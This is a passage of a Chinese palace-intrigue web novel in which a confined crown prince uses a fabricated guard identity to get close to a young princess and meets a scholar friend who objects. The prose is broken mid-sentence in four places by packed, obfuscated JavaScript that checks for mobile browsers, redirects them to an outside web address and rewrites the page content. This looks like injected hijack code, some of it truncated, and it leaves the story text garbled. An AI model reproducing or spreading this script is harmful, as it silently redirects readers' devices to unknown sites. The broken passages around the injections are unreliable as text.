“咱们在盘州有根基,进展颇为顺利。今晨盘州秦镜司上呈的文书已送到了昭政殿,最晚明日便有新令。到时,‘白夜’便是御赐给钟慧公主府的卫队统领。” 景迟唇齿微动:“‘白夜’毕竟是个凭空伪造之人,其身份履历日后可有被查否的可能?” 小商贩收回先前的铜镜,换了一个款式递到景迟面前继续“介绍”:“请主子放心,各个环节属下们总计推演三十七回,共列出百二十项文书清单,逐一打点、核对,确认无误。便是圣上要查‘白夜’的身份,至多只能查到一个名叫‘白夜’之人顶替了一位真正的秦镜使,绝查不出与东宫的半点瓜葛,更查不出‘白夜’此人其实根本不存在。” 景迟点头,将刻有“白夜” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15000587|161757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之名的秦镜司令牌收入怀中,又挑选了两面铜镜,将铜钱付与商贩,各自分开,隐没于燕京繁华间。 小公主明日接到旨意,多半既惊讶又气愤。她如此敏锐,坚决排斥他,这次倒要看看她还有什么法子推拒,难道还敢抗旨不成? 思及此,景迟眼底微澜,如冰雪初融。 翌日,盛霓还缩在暖融融的锦被里做美梦,便被一阵呼喝之声吵醒。 寝殿距前庭还隔着两座殿宇,按说前庭的声音等闲传不到这么远。 晚晴已在寝床边等了好一会子,见公主终于迷迷糊糊地揉眼睛,便在床边坐下,替她把发丝理顺。 晚晴笑吟吟道:“小殿下还在赖床呢,羞也不羞?卫队全体已在前院开始操练,斗志高昂地恭候小殿下坐镇选拔大统领呢。” 盛霓坐了将近两日的车,腰背几乎散架,又素来体弱,这一觉睡得昏天黑地,连做没做梦也不记得,仍感到四肢酸软。 盛霓抱住被子,闭着眼睛问:“赵逆打发了吗?” 昨晚一回府,听家令禀报赵双全伤势好转,已完全清醒,盛霓便即下令将其逐出燕京,毫不拖泥带水。 晚晴禀道:“今早城门一开,便将赵逆送出了燕京地界。他伤得不重,是下了车后是自己走的。” 盛霓“嗯”了一声,总算了结了一桩烦心事。 送走了图谋不轨的赵逆,一个旧的时代过去,崭新的日子开启。盛霓身心都轻盈起来,宿夜的疲惫去了大半,乖乖爬起来由婢女们服侍着洗漱更衣。 今日,卫队的好儿郎们都在前庭恭候公主驾到,谁若能拔得头筹,便是加官升职、出人头地,一个个踌躇满志,操练的口号也喊得分外响亮。 盛霓用过朝食,携一众婢女内侍登上聆风楼。 列队恭候的侍卫们望见高高楼上一抹夺目的珠光翠影,全都敛声屏息,愈发挺直了腰杆。 盛霓望着列为方阵的百名侍卫,将这宽敞的公主府前庭也衬得小了起来,不由心生豪气,只觉南下之路也无甚可畏。 带班队长阿七立于卫队最前方,只待公主传令,便即展开今日选拔。 盛霓视线上移,望向清朗无云的蔚蓝天际,或许姐姐会在某个方向正看着她。 姐姐安心,阿霓已长大了,定不负公主府上下老小。 盛霓收回视线,清清喉咙,准备致辞传令,心跳不觉加快。 “启禀小殿下。”一个内侍突兀地唤道。 盛霓险些被口水呛死。 但凡不是要紧到非禀不可,谁也不会在这个节骨眼上搅扰公主。 盛霓皱起眉头:“何事?” “中官传旨。” 14. 景迟 皇城,东宫。 外面日光正好,重门紧闭的宫殿内却静谧无声,仿佛与世隔绝。 幽深宫道的长石砖缝隙中生出了嫩绿的杂草,一只菱纹缂丝履匆匆踏过,细草弯折,留下霁青色宽袖广身锦袍的仙风背影。 后殿朱门打开,光投进幽暗殿内,投下一道广袍飘逸的影子。 殿内血腥气明显,令锦绣公子皱起了清秀的眉。 内侍躬身解释:“徐九公子,太子殿下正在处理‘家事’,请徐九公子到偏殿稍候……” 内侍话音未落,徐晏已经一撩衣摆大步走了进去。 “哎、哎,徐九公子不可……” 绕过碎冰纹大立屏,光可鉴人的地面上倒着一个内官,血泊几乎蜿蜒到了徐晏的缂丝履下。 大殿尽头,太子的颀长身形隐在阴影里,只穿着一身雪白天丝中衣,长发披散,手持的长剑泛着森然寒光,抬眸朝徐晏方向看过来的瞬间,星眸凛冽。 徐晏强压下对眼前血腥场面的不适,躬身一揖到地:“臣礼部仪制司主事徐晏,拜见太子殿下。” 太子锐利的目光在徐晏身上刮过一圈,抬手将手中长剑平举,便有内侍恭敬上前,小心翼翼双手托住,撤了下去。 见太子收剑,大殿两旁侍立的内侍们才有条不紊地行动起来,一队将地上死状可怖的死者抬走,一队跪地清理血泊。 太子隐在阴影里,退后两步在紫檀雕蟒宝座上坐下,淡淡吩咐:“将尸身横放中庭,让往来之人都看见,出卖消息给外面是何下场。” 低沉的嗓音与身为“白夜”时不大相同,像浑厚又冷涩的低音胡弦,入耳时仿佛在按摩敏感的耳廓,动听,却也令人生畏。 内侍们瑟然躬身应诺。 太子像是才想起维持着拜礼的徐晏,不紧不慢地道:“徐主事平身。” 徐晏如瓷如玉的脸上尽力收敛着薄怒。 “徐主事好人脉,为了给嘉琬公主求情,暗中求见孤不成,转而光明正大进到奉旨幽闭的东宫来。” 徐晏的下颌因后槽牙咬紧而微微变形,尽量公事公办地道:“臣受圣上之命、祖父之托,前来探望太子殿下。” 宝座上,太子冷冷轻笑一声。“若为公事,叫礼部尚书过来说话,什么时候一介六品主事也配随意进入东宫了?” 徐晏的恭谨冷静被生生撕破,怒视着阴影里衣冠不整的太子,索性不再遮掩,步步紧逼上前,秀美的凤目里满是悔恨:“早知太子殿下要易容丹是为了对付嘉琬,徐某当初绝不会答应!” “对付?”太子勾唇,“孤没必要‘对付’一个孤女。” “那太子殿下如今是在做什么?” 东宫耗费精力打造出一个并不存在的“白夜”,徐晏一直都知道,他亲手配制的易容丹正是其中关键一环,但徐晏着实没有想到,太子乔装出宫竟是为了插进钟慧公主府,潜到嘉琬的身边。 圣上认定太子意欲残害手足,后为灭口谋害嘉仪公主身亡,太子想查清嘉仪公主的真正死因自是理所应当。 可是,嘉仪公主生前明明已嫁入谨王府,死后更是以王妃礼下葬,太子为何偏从嘉仪出阁前所居的公主府入手? 旁的事徐晏不清楚,但至少有一件事他能肯定——嘉琬已被太子选中为一枚举足轻重的棋子。 从来执棋者运筹帷幄,手中棋子与对方棋子却要拼个你死我活,不是我吃了你,便是你吃了我。嘉琬被太子玩弄于股掌,怎会落得好下场? 当徐晏得知“白夜”即将以秦镜使身份调入钟慧公主府的时候,他手上一抖,将一幅细绘了三月有余的《桃林宴饮图》戳出一个巨大的墨点,侍墨的书童见了心疼得五官当场皱成了一团。 算着时辰,传旨的中官已到钟慧公主府,徐晏便是有通天之能也来不及改变圣上的旨意,极怒之下,向祖父徐首辅求了门路,直闯东宫谒见太子。 他一定要问个清楚,到底要对嘉琬做什么。 眼前的太子,雪白中衣细软松垮,墨发披在肩头柔顺如缎,若不是空气里满是死去内侍的血腥气,简直叫人以为他仍是那个重病卧床的文质储君。 “景迟。” 徐晏已有许多年不曾直呼太子名讳了。这个名字已经陌生到恍如隔世,中间不知横亘了多少白云苍狗、沧海桑田。 “你还是臣所认识的景迟吗?”徐晏的声音黯然下去,“臣所认识的景迟,光明磊落,月霁风清,怎么会变成你现在这副样子?” - “恭喜小殿下,贺喜小殿下!” 孙嬷嬷得了信儿,被赵双全吓出来的病全好了,一脸喜色地赶来玉华殿。 一看到案上铺着的圣上口谕的记录,孙嬷嬷笑得嘴都合不拢。 “圣上天听,知道咱们府里卫队编制不全,特地指了大统领过来,可见还是念着小殿下的!” 玉华殿内的气氛有些凝滞。 孙嬷嬷笑着环视一周,没有一人回应她的喜色。她终于察觉到不对,笑意慢慢消失,堆砌的皱纹渐渐松下去。 盛霓坐在卷草纹宝椅上,神情颇有几分一言难尽。 “小殿下?” 孙嬷嬷被这气氛弄得心里七上八下,赶紧去读纸上记录的口谕内容。 御指给钟慧公主府的卫队大统领,是一个叫白夜的宣节副尉。 孙嬷嬷还没老糊涂,她记得,砍断赵逆三指的刀工圣手就叫白夜。白夜这名字不常见,没有几对父母愿 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她从前原是太后宫里的嬷嬷,因行事不够沉稳,又素爱管些闲事,为延帝所厌。后来嘉仪公主及笄,延帝准姐妹俩出宫开府,顺便建议太后将孙嬷嬷一并送去钟慧公主府,眼不见心不烦。 盛霓年纪小些的时候看不懂这些原委,病中孤寂,乱七八糟地回忆往事,才慢慢品出当年孙嬷嬷的处境。孙嬷嬷的性子不是讨喜的那一类,但盛霓明白,她是真心拿姐姐和自己当亲人的。 现在盛霓身子比从前大好,不忍心再让孙嬷嬷如照看小孩子那般事事劳累。同时,她也的确不愿孙嬷嬷处处不放心自己,仿佛自己真的与姐姐天差地别,仿佛自己稍一不慎就会葬送了公主府上下老小。 回到寝殿,晚晴道:“难怪小殿下总说白校尉有些古怪,原来是圣上选中的人,那自然非比寻常。到底是咱们小殿下敏锐,一早就察觉了白校尉的不同之处。” 盛霓却道:“若真是圣上选中的人,如今又公然下了口谕,可见没有值得遮掩之处,他何苦一直不肯说出实情呢?” 说不清究竟哪里不对劲,或许因为那双忽而纯净又忽而幽邃的眼睛,又或许因为那种莫名奇妙又时隐时现的熟悉感,盛霓总觉得这个人没有这么简单。 盛霓叫晚晴取出一小匣银锞子,“去查查白夜的底细,最好拿到他在盘州任职的履历。” 钟慧公主府从外面瞧着锦绣荣华,实则并无权势,若想托人办点什么,唯有银钱开道。好在府里没有太大开销,从不必为这些阿堵物操心。 看来小殿下是要动真格的了,晚晴捧着沉甸甸的小匣子,不敢怠慢,“小殿下放心,奴婢这就着人去查。既是过了圣上眼的人,履历当是明的,不难。” 15. 徐晏 清淡幽醇的酒香浮动在空寂已久的东宫大殿。 景迟和徐晏对坐无言,各自手边摆着精刻赤金酒樽,各自凝视着面前的空气。 景迟的眉眼与易容丹作用下的面容全然不同,褪去了“白夜”那张皮囊的清濯之感,多了三分暗藏锋锐的峻肃之意,举手投足间不怒自威,一双星眸锐利明亮依旧。 徐晏眉宇间薄怒未消,没时间再与景迟耗下去,终是转过脸来:“太子殿下这是布了两条路,非通往钟慧公主府不可。” “哦?” 景迟端起手边酒樽,清瘦有力的腕子一晃,酒香惊散。 “燕臣聪慧无双,一旦冷静下来,便将孤的谋算看得这般分明。” 燕臣是徐晏的字,当今圣上钦赐,帝宠昭然。 徐晏沉着脸道:“太子殿下做了两手准备,一手成本风险皆低但效力弱,另一手成本风险皆高却效力强。这第一手准备,便是走宗正寺的路子,将‘白夜’这个人调往钟慧公主府任卫队副统领。然而这个计划壹失败了。” 景迟薄唇边噙着一抹意味不明的笑意,“小公主瞧着年幼,却很有几分敏锐警醒,胆敢将孤拒之门外。” “于是,太子殿下便启用了准备好的计划贰——冒充秦镜使。”徐晏清亮的眸子盯住景迟,嗓音渐沉。 “不愧是徐首辅最宠爱的嫡孙,慧名遍燕京的徐九公子,几可读心。”景迟毫不愧疚。“这计划贰本是为着揪出真凶后再行使用,不料从嘉琬小公主这里便不得不派上用场。似乎杀鸡用牛刀呢。” 徐晏捏紧了手中的酒樽,叹道:“秦镜总司与各地方司之间传信极速,他们又怎能料到,太子殿下的动作更快一筹,短短时间内便改换了乾坤。如若不是身受幽禁,此等势力只怕足以撬起半壁江山。” 闻听徐九公子的大逆之言,在场内侍一个个全都将头埋得低低的,大气也不敢出。 也就是徐家如日中天、徐首辅位极人臣、徐晏几个叔伯俱都身居要职,才养出了徐晏这般闲云野鹤又无所顾忌的性子。但凡换了第二个人,都不敢当着太子的尊面妄议江山。 太子本人不以为意,只好整以暇地瞧了徐晏一眼,话锋毫无征兆地一转:“既如此关心则乱,不若禀明家长,三媒六聘。徐家是世代簪缨的显赫门第,你又是个才貌双全的燕京春闺梦里人,便是尚我大延的嫡公主也配得上。” 本想将他留给天真娇憨的六妹妹,到时做一对闲散鸳鸯,自是一桩美事,却不知原来良人已心属嘉琬。 徐晏今日不是来吃太子揶揄的,怒视着景迟不发一言。 敢在太子面前冷脸的,除今上外,世间也唯有一个徐燕臣了。 景迟对徐晏的儿女情长没多少兴趣,捏着酒樽与徐晏面前的那只碰了一下,发出金石脆响,然后将碧落琼浆仰头一饮而尽。 以酒代言。 徐晏向来行事理智,他不是来置气的,缓和道:“臣深知太子殿下决心要做的事臣无法阻止,只是,恳请太子殿下看在与臣同窗六载的情分上,赏臣一个恩典,不要伤害嘉琬。” 景迟慢悠悠地转着酒樽,修长的手指被赤金色泽衬得愈加冷白。 “燕臣以为,要伤害嘉琬之人,是孤?” 徐晏眉心微动。 “燕臣以为,父皇命嘉琬公主南下,只是为了祭天?” 徐晏心念电闪,双目抽搐般眯缝了一下。 景迟道:“别忘了,父皇此番下令赐与公主府的卫队统领,可是秦镜使出身。” 秦镜使行走在黑白两道之间,均由延帝直辖,倘若延帝真的担心嘉琬一路安危,大可以指派一名良将,没必要特意从京外调任一位秦镜使。 背后的蹊跷,徐晏不是没发觉,只是当得知这位“秦镜使”就是太子时,“秦镜使”这个身份本身反而不是重点了。 徐晏脸色微变:“那么太子殿下的意思是,圣上命嘉琬南下的用意……” 余下的话,已经不便说出口了。 景迟不置可否,亲手执壶为徐晏的空樽斟满。 徐晏起身让开一步,长揖到地,广袖飘然:“若有一日到了万不得已的地步,非动嘉琬不可,请太子殿下事先告与臣知,臣不胜感激,誓死效忠殿下鞍前马后。” 景迟寒星般的眸子淡然望过去,勾起唇角,不深不浅地点了一下头。 徐晏再谢。 然而他清楚得很,他今日谈条件的筹码是易容丹,可就算有易容丹,这一切的前提也是嘉琬不会挡太子的路。 殿内的血腥气掺在酒香和沉水香里,淡得几乎察觉不出了。 清醒如徐晏,自是深深地明白,如今的太子已经不会再为谁手下留情。 - 延帝为钟慧公主府亲自指派了卫队统领,不论合不合 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15000589|161757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心意,盛霓都要去面圣谢恩。 自太后薨逝,中宫又多年无主,盛霓除了单独去执掌六宫的萧贵妃处请安,只有每年的新春宫宴与千秋节才会远远地见到延帝。 铁石色的高墙割开苍芎与大地,朱栏明璨,飞檐入云。仰头望过去的时候,逆着光令人眩晕。 晚晴担忧地扶住盛霓。 盛霓摇摇头,示意无事,继续顺着长长的宫道往里走。她体力本就不佳,这几日为着赵逆和白夜的事耗费心神,便有些头昏脑涨的。 进入丹阙门,从狭长侧道穿过启元殿和昭政殿,便是帝王起居的霄和殿。从霄和殿开始,前朝与后宫界限交汇,一砖一瓦都变得熟悉起来。 随姐姐开府出宫那年,盛霓才十一岁,那时的她已经能感觉到,延帝像是终于把什么碍眼的东西像垃圾一样丢了出去。 没有了盛氏公主在宫里出没,他大约总算觉得这皇城这天下是独属于他景源的了。 盛霓对于延帝,并没有什么厌恶的情绪。她虽长在深宫,养于这一方天里,却很早就懂得了什么是自己能够改变的,什么又是自己需要接受的。当年若非景源来得及时,或许她和姐姐也会像父兄一样,死在泷西节度使的屠刀之下。 在钟慧公主府的日子比在宫城里自由得多,盛霓逛过了从未见过的长街和商铺,尝过了从没试过的民间食物,才明白天地果真不是高墙围起来的方形。 后来,太后寿终正寝,盛霓与宫城的最后一点联系也断了,往后钟慧公主府就是她唯一的家。 再后来,姐姐嘉仪嫁作谨王妃,只剩她一个人独居公主府。但姐姐时常回来看她,日子过得与从前区别不大。 直到盛霓的天地被噩耗生生撕裂的那一日前,她都觉得这样平静又淡然的日子其实很好。 霄和殿里不见奢靡,却处处透着令人目眩的另一种穷奢极欲。 天山之巅采摘的雪莲盛开在盛满冰水的半透宝瓶里,东海产出的龙涎香燃在硕大的鎏金香炉中,姑苏缂丝织就的巨幅花鸟图垂挂在大殿两侧,让光线漏进来时在光可鉴人的地面上拓下宛如立体的图影。 延帝和萧贵妃正在对弈,见了盛霓,和蔼地命人赐座看茶。 “新调去的卫队统领还没见过吧?若有不合心意之处,只管告诉陛下,陛下会为你做主的。”萧贵妃笑得亲切,说到最后一句时,媚眼如丝地勾向延帝。 16. 太子 盛霓谢过皇恩,心中暗自惊疑,原来延帝不知她已见过白夜,那便说明延帝也不知宗正寺已调动过白夜。 延帝恰好指派了宗正寺原本调去公主府之人,天下竟有如此巧合之事?这个白夜未免气运太旺了些。 盛霓未露声色,乖顺地说着话。 延帝表现得对盛霓十分疼爱,主动告知她许多南下的细节安排,显是待她用了心的,特意安排了皇弟桓王护送主持。 桓王是诸位皇子的王叔,又是景氏族长,在祭天典礼的场合分量仅次于皇太子。 南下之事聊过去,萧贵妃又问起盛霓近来吃些什么药、府上是哪位太医诊治,见她脸色不够红润康健,赐下名贵的齐鲁赤灵芝和许多补品。 这般的关切恩宠,盛霓从未领受过,也不知今天是什么好日子。莫不是听司天监说起她这个前朝公主还有稳固王气的作用,开始将她当做大延的吉祥物了? 盛霓掂量了一下气氛,故作随意地笑着问起:“不知太子哥哥身子可好些了?妾偶得一对西花鹿茸,有补髓健骨之效,也不知对不对太子哥哥的症。” 延帝毕竟未曾下旨易储,就连幽禁也只是打着“卧病在床”的名号,盛霓索性揣着明白装糊涂,一脸的天真无邪、坦坦荡荡。臣妹关心太子哥哥的安康,名正言顺。 但盛霓也仅仅是问出来试试罢了。朝局渐渐明朗,皇帝对太子的厌恶只差写下一纸废储诏书,怎会耐烦有人去看他。六公主韶康是太子一母同胞的亲妹妹,每逢佳节都求父皇允准探望哥哥,为此不知被呵斥了多少次,也只得以去见了一回而已。 延帝那双精明幽深的眼中笑意不改,状若随意地与萧贵妃对视了一眼,缓缓笑道:“他啊总是老样子,你既有心,便给他送去吧,也是你做妹妹的一番心意。” 这就同意了?盛霓微讶。 萧贵妃似乎明白延帝的心思,见延帝表了态,也顺着道:“南下这一去好几个月,下次再见不知是什么时候了,你们兄妹俩是该好好说说话。” 盛霓上一次见到太子还是去年冬末,近一年来从未主动求见过太子,未来几个月见不到又算得了什么?不过都是场面上的废话。 走出霄和殿,盛霓越来越觉得帝后态度反常。莫名的关切,莫名的宽容,大有有求必应的意思。除了哄她乖乖南下祭天,盛霓猜不出第二个答案。 看来延帝这些年真是变了不少,从前没少斥责司天监媚言惑众,如今却对前朝王气之说深信至此。 东宫距霄和殿很近,抄近路穿过两条宫道便是了。 不论太子在旁人眼中评价如何,他对盛霓有恩,盛霓便承他的情。 时隔近一年,盛霓望着视野里越来越近的巍峨储宫,总觉得即便仅隔两条宫道,却像是与身后的三大殿划分开两个世界。就与去年来此的感觉一模一样。 去年的冬天格外冷,一连下了好几场大雪。那时候,盛霓以月代年为姐姐守完了丧,突然听闻太子病倒的消息。 隐有传言道,太子不但病倒,还触了圣上的逆鳞,圣上龙颜大怒,把最爱的那只西域兽首缠丝玛瑙杯砸到太子身上,碎片崩了一地。 那时候盛霓的寒症还未发展到后来那样沉重,出于真心也出于礼节,她向延帝请求探望太子哥哥。不知是不是怜惜她因姐姐新丧而太过憔悴,延帝最终答应了。 盛霓永远忘不了去东宫探病的那一天。 那一天很冷,皇城中新年的喜庆气氛还没过去,东宫里却是一片莫名的死寂与灰暗。 众多不该出现在东宫的卫兵披甲执锐,将这座储君的住所围得铁桶一般,连只鸟雀也无法自由来去。 盛霓什么都没问,低着头跟着引路的内官往里走。 难怪最近夜半常能听到马车疾驶过长街的碌碌声,朝堂上的风雨就在这些扰人清梦的杂声里无形又猛烈地翻涌过去。她知道太子出了大事。 十四岁的盛霓仍被太子视作小孩子,获准进入寝殿探望。隔着一道金线大立屏和一层轻柔帘幔,她隐隐看到太子躺在寝榻上的轮廓。 盛霓印象中的太子哥哥不是这样的,像是遥远的画中人,气场凛然又文质彬彬,目光所及众人垂首——不该是这样白日里躺在寝榻上半睡半醒的样子。 太子的病是个谜,几乎没人知道他究竟得了什么病,又为什么一夜之间病得起不来身。 殿内的沉水香合着药味融成一种好闻又安静的味道,若隐若现的血腥气使殿内的淡香变得诡异。 盛霓是听六公主韶康说的,当时延帝砸过来的琥珀杯撞在太子哥哥的玉带上崩碎了,轻薄锋利的碎片划破了衣衫,割伤了皮肉。当时太子一声没吭,直到延帝骂够了,回到东宫,从人为他更衣时才发现他腰间全是血。 说起来,就是从那天夜里才传出太子病倒、东宫谢绝见客的消息。至于这两件事中间串联起逻辑的内情,根本打听不到。 这座宫城里像是住着一只巨大猛兽,一张血口就能吸起一阵暴风骤雨的漩涡,让看似平静的殿宇间永远暗流汹涌。朝登天子堂,暮入乱葬岗,都是寻常事。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“小、小殿下,”晚晴颤声道,“太子殿下说不定在休息,我们把东西放下,还、还是不要进去打扰了吧?” “唔……” 说实话,盛霓也迟疑了。这座宫殿像是满身荆棘地冷眼睨着苍芎,不欢迎任何访客的到来。外面的重兵都黯然成了摆设,最大的寒意和压迫感来自殿门深处那片看不穿的阴影。 “怎么不进来?” 低如琴弦的动听嗓音从殿内传出来,带着与生俱来的威势。 17. 东宫 高大槅窗的光线被细密轻薄的慈竹帘遮住大半,透过殿内四垂的沧浪色帷幔镀成沉寂的冷色。 几排银烛点着灯火,随着人群路过猛烈摇曳起来,令人分不清此刻究竟是白日还是黑夜。 地面上乱糟糟地散落着书卷和棋子,不知是不是太子发火弄到地上的,显然谁都未料到今日会有访客到来。由于东宫状况特殊,霄和殿那边也没遣人知会一声。 盛霓提着裙裾跟在景迟身后小心翼翼地迈脚,生怕踩坏了什么东西。 窗口刺进来的一道窄窄日光正沐在满地狼藉上,让那些玉石雕成的饱满棋子折射出晶亮的光泽,映得人眼花缭乱。 盛霓低头走着走着,仿佛被那光线晃得晕眩,脚下突然一绊,向前扑倒过去。 “当心。” 景迟迅速回手扶她,盛霓失去重心扑进他怀里。 景迟衣衫上“煮雪”的香气似乎在这一扑里散了开,若隐若现。 记忆好像一下子溯回了从前。 她九岁那年,皇子公主们开始修习合香。合香之术于皇家而言不过修身养性,不在于精,而在于通,先生自然也不像练字默书那般严肃。 盛霓骨子里并不是乖顺性子,趁哥哥姐姐们正创作合香考核的课业,与年纪相仿的六公主韶康偷偷捣蛋,胡乱拈些碾细的香粉往香器中撒。 盛霓在徐九哥哥的香器中撒了一把配好的“兰花松木”香粉,却没想到韶康公主早就使坏将徐晏和景迟的香器调换过。 先生及时发现香器上刻的名字不对,把香器调换回原主,掺进去的“兰花松木”却是不能再剔分出来了。 重做已来不及,于是景迟合的“焚雪”便多了一味青松的芳腴。 先生道,这是歪打正着。 原本太子创作的“焚雪”太过清绝冷冽,加入这一股细若游丝的甜美温软恰好中和,便如冬去春来、冰河初融,冷调不改,多了一分暖意,意境便上了一重境界。 那一张“焚雪”香方阴差阳错拔得头筹,改作了更贴切的名字,“煮雪”。 景迟似乎并不讨厌这张香方,又不大喜爱宫里的成方,东宫便一直用煮雪香熏衣裳。 盛霓虽与太子接触不多,对这张来历曲折的香方却印象深刻。 盛霓撑着景迟的手臂稳住身形,赧然后退一步,红着耳尖低头细声道:“多谢太子哥哥。” 景迟也没有多余的话,将地上的东西用足尖缓缓拨开,给盛霓腾出一条道来。 太子敢踢,下人们却不敢放肆,觑着太子的神色俯下身一样样小心拾起。 “是‘煮雪’吗?”盛霓小声问。 景迟片刻后才反应过来她说的是香名。 他平日哪会关注这些,若不是记性好,还真不知盛霓这是突然在说什么。 “说起来,‘煮雪’里还有嘉琬的一半创作。”景迟语气淡淡的,听不出是不是在责怪。 盛霓本是转移话题化解尴尬,不成想搬起石头砸了自己的脚,悻悻低下头去:“都是小时候不懂事,难为太子哥哥还记得。” 两人转入待客的次间,景迟本想揶揄几句,忽然一眼看到榻几中间摆着的梨花手环。 他从普度寺随手将这只手环带了回来,又随手扔在了榻几上,还没想好如何处置,哪里料得到原主人会突然造访。 景迟眉心一跳,不着痕迹地侧目看向盛霓。 盛霓很规矩地低着头,没有四处乱看,并未发现榻几上某个本不属于这里的物件。 景迟目光射向一个内侍。 内侍冷不防被太子一盯,一个激灵,连忙看了看桌上,飞快地思考,猜到主子介意的兴许是那只做工粗劣的花环。也不知主子是从哪儿弄回来的,亲手放在榻几当中的翠玉青山摆件上,这两日无人敢碰。 内侍稍一迟疑的空档,盛霓已经抬起了头。 景迟突然展臂脱下织锦苏方外袍。 盛霓意外地看向景迟,顿住脚步。 深秋天气已经很冷,殿里也没烧着几个炭盆,温度只比外面略好些,太子衣着已算单薄,怎的脱了外袍? 没等盛霓想明白,太子已将外袍扬手一抛,将不大的榻几盖了个严严实实。 盛霓自小见的是呼奴使婢,从没见过谁这样扔外袍的。 太子内里穿着件柔软的象牙色单衣,矫健又劲瘦的轮廓半遮半显地透出来。 盛霓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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盛霓心头微震。 那双眼睛,好像在哪里见过。 18. 打草 盛霓恍然大悟。 难怪觉着白夜有几分眼熟。 盛霓绷住表情悄悄打量景迟,可是再看时,就如从前见到白夜一样,那种熟悉感转瞬即逝,仿佛只是错觉。 相貌自是毫无相似之处,就连唯一相像的眼睛也因着眼神的不同而更显迥异。 太子的眼神有着皇族特有的淡漠,即便偶尔含着笑意,那凌驾于万万人之上的孤寒也挥之不去。 白夜则不同,或许不近人情,但他的眸子清亮明净,没有威压,只有隐隐约约又令人读不懂的讳莫如深。 终究是不同的。 内侍奉上煮好的茶汤,盛霓收回视线,轻轻摇了摇头,发觉自己险些忘记了原本的来意。虽然太子看上去康健如常,但总归还是该问候一二。 “太子哥哥身子可大安了?” 景迟坐在榻几对面,低头抿了一口茶,老练地说着冠冕堂皇的回答。 宫里这些并无实际意义却又包装得体面的场面话,盛霓习以为常,也觉理所当然。 “臣妹就要南下远行,一去数月,新年也不能入宫与诸位兄弟姊妹团聚,这才斗胆禀明陛下、娘娘,来瞧瞧太子哥哥。” “嘉琬,你长大了,这般出头的事以后不要再做。”景迟的态度几不可察地冷下去。 盛霓一怔,随即明白了景迟之意。 这东宫,可像常有人来探病的样子?旁人都不来,偏她来,可见不是明智之举。更何况,旁人眼中的太子她也不是没听闻过。 有人说,太子十岁那年,亲手杀死了自己的一个乳母;十三岁那年,在床上弄死了一个侍婢,传说那侍婢死的时候眼睛还圆睁着。 这些盛霓没信过。 盛霓甜甜一笑,软声道:“太子哥哥的提点臣妹会记在心里。自姐姐去后,就没有人这样耐心教导臣妹了。” “你姐姐究竟是怎么去的?” 景迟问得突兀,仿佛只是顺带提起,但他的眼神藏着凌厉,像一只蛰伏已久的狼,终于在猎物最措手不及的时候,发动了攻击。 盛霓有些意外。姐姐是怎么去的,太子怎会不知? 也对,毕竟姐姐去后不久太子也遇上了大祸,那段日子对他来说也是同样的黑暗,对异姓姐妹的死因记不清也很正常。 盛霓垂下眼,轻声道:“姐姐陪谨王姐夫南下督军的回程路上,遇到了猛兽袭击,姐姐素有心疾,惊惧之下心疾发作,从摇晃的吊桥上摔下去,被急流……被急流……” 阳光为她的羽睫镀上一层白金色的光,她没再说下去。 急流岔路多,谨王人手不足,又有军命在身,寻找三日无果后,只得率小队先行快马回京,留下一半人马继续寻找嘉仪公主,但最终也没能找到。 这也是盛霓尤其看重卫队统领人选的原由。护卫做得周全些,危险和意外便能少几分,除此之外,她不知这份深深的遗憾和恐惧还能如何安放。 盛霓已经为姐姐的死流过太多眼泪,此时说起这些,不知是因为窗外投进来的阳光太暖,还是煮雪香的幽冷使人心静,盛霓格外平静。 延帝嫌嘉仪公主死得不体面,也嫌麻烦,不肯千里迢迢再派人去寻她的尸身,若非太子一力主张搜寻到底,只怕如今只能给嘉仪公主筑一座衣冠冢。后来太子被延帝所恼,这件忤逆圣意之事大约也没起好作用。 可现在,太子似乎已经不记得这桩插曲。 “嘉仪公主,当真死于心疾?”景迟问。 这个问题,似乎意有所指。 景迟将盛霓细微的狐疑收入眼底,没有给她更多思考的时间,佯作随意地问:“嘉仪公主应当留下了不少遗物与你纪念吧?” 盛霓点头:“姐姐的遗物,自然仔细收着。” 盛霓曾听闻,太子的生母高皇后,死后的遗物被延帝焚烧殆尽,只留下了凤毛麟角。他会问出这个问题并不稀奇。 景迟似乎在等她详细说下去。 盛霓却已经说完了。 “启禀太子殿下,”侍立一旁的晚晴解释,“我家嘉琬公主不敢多看嘉仪大公主留下的旧物,奴婢们全都收了起来,怕又招惹嘉琬公主的眼泪。” “原来如此。”景迟淡淡地道。 难怪这么久小公主都没有异动,看来果真不曾起疑。 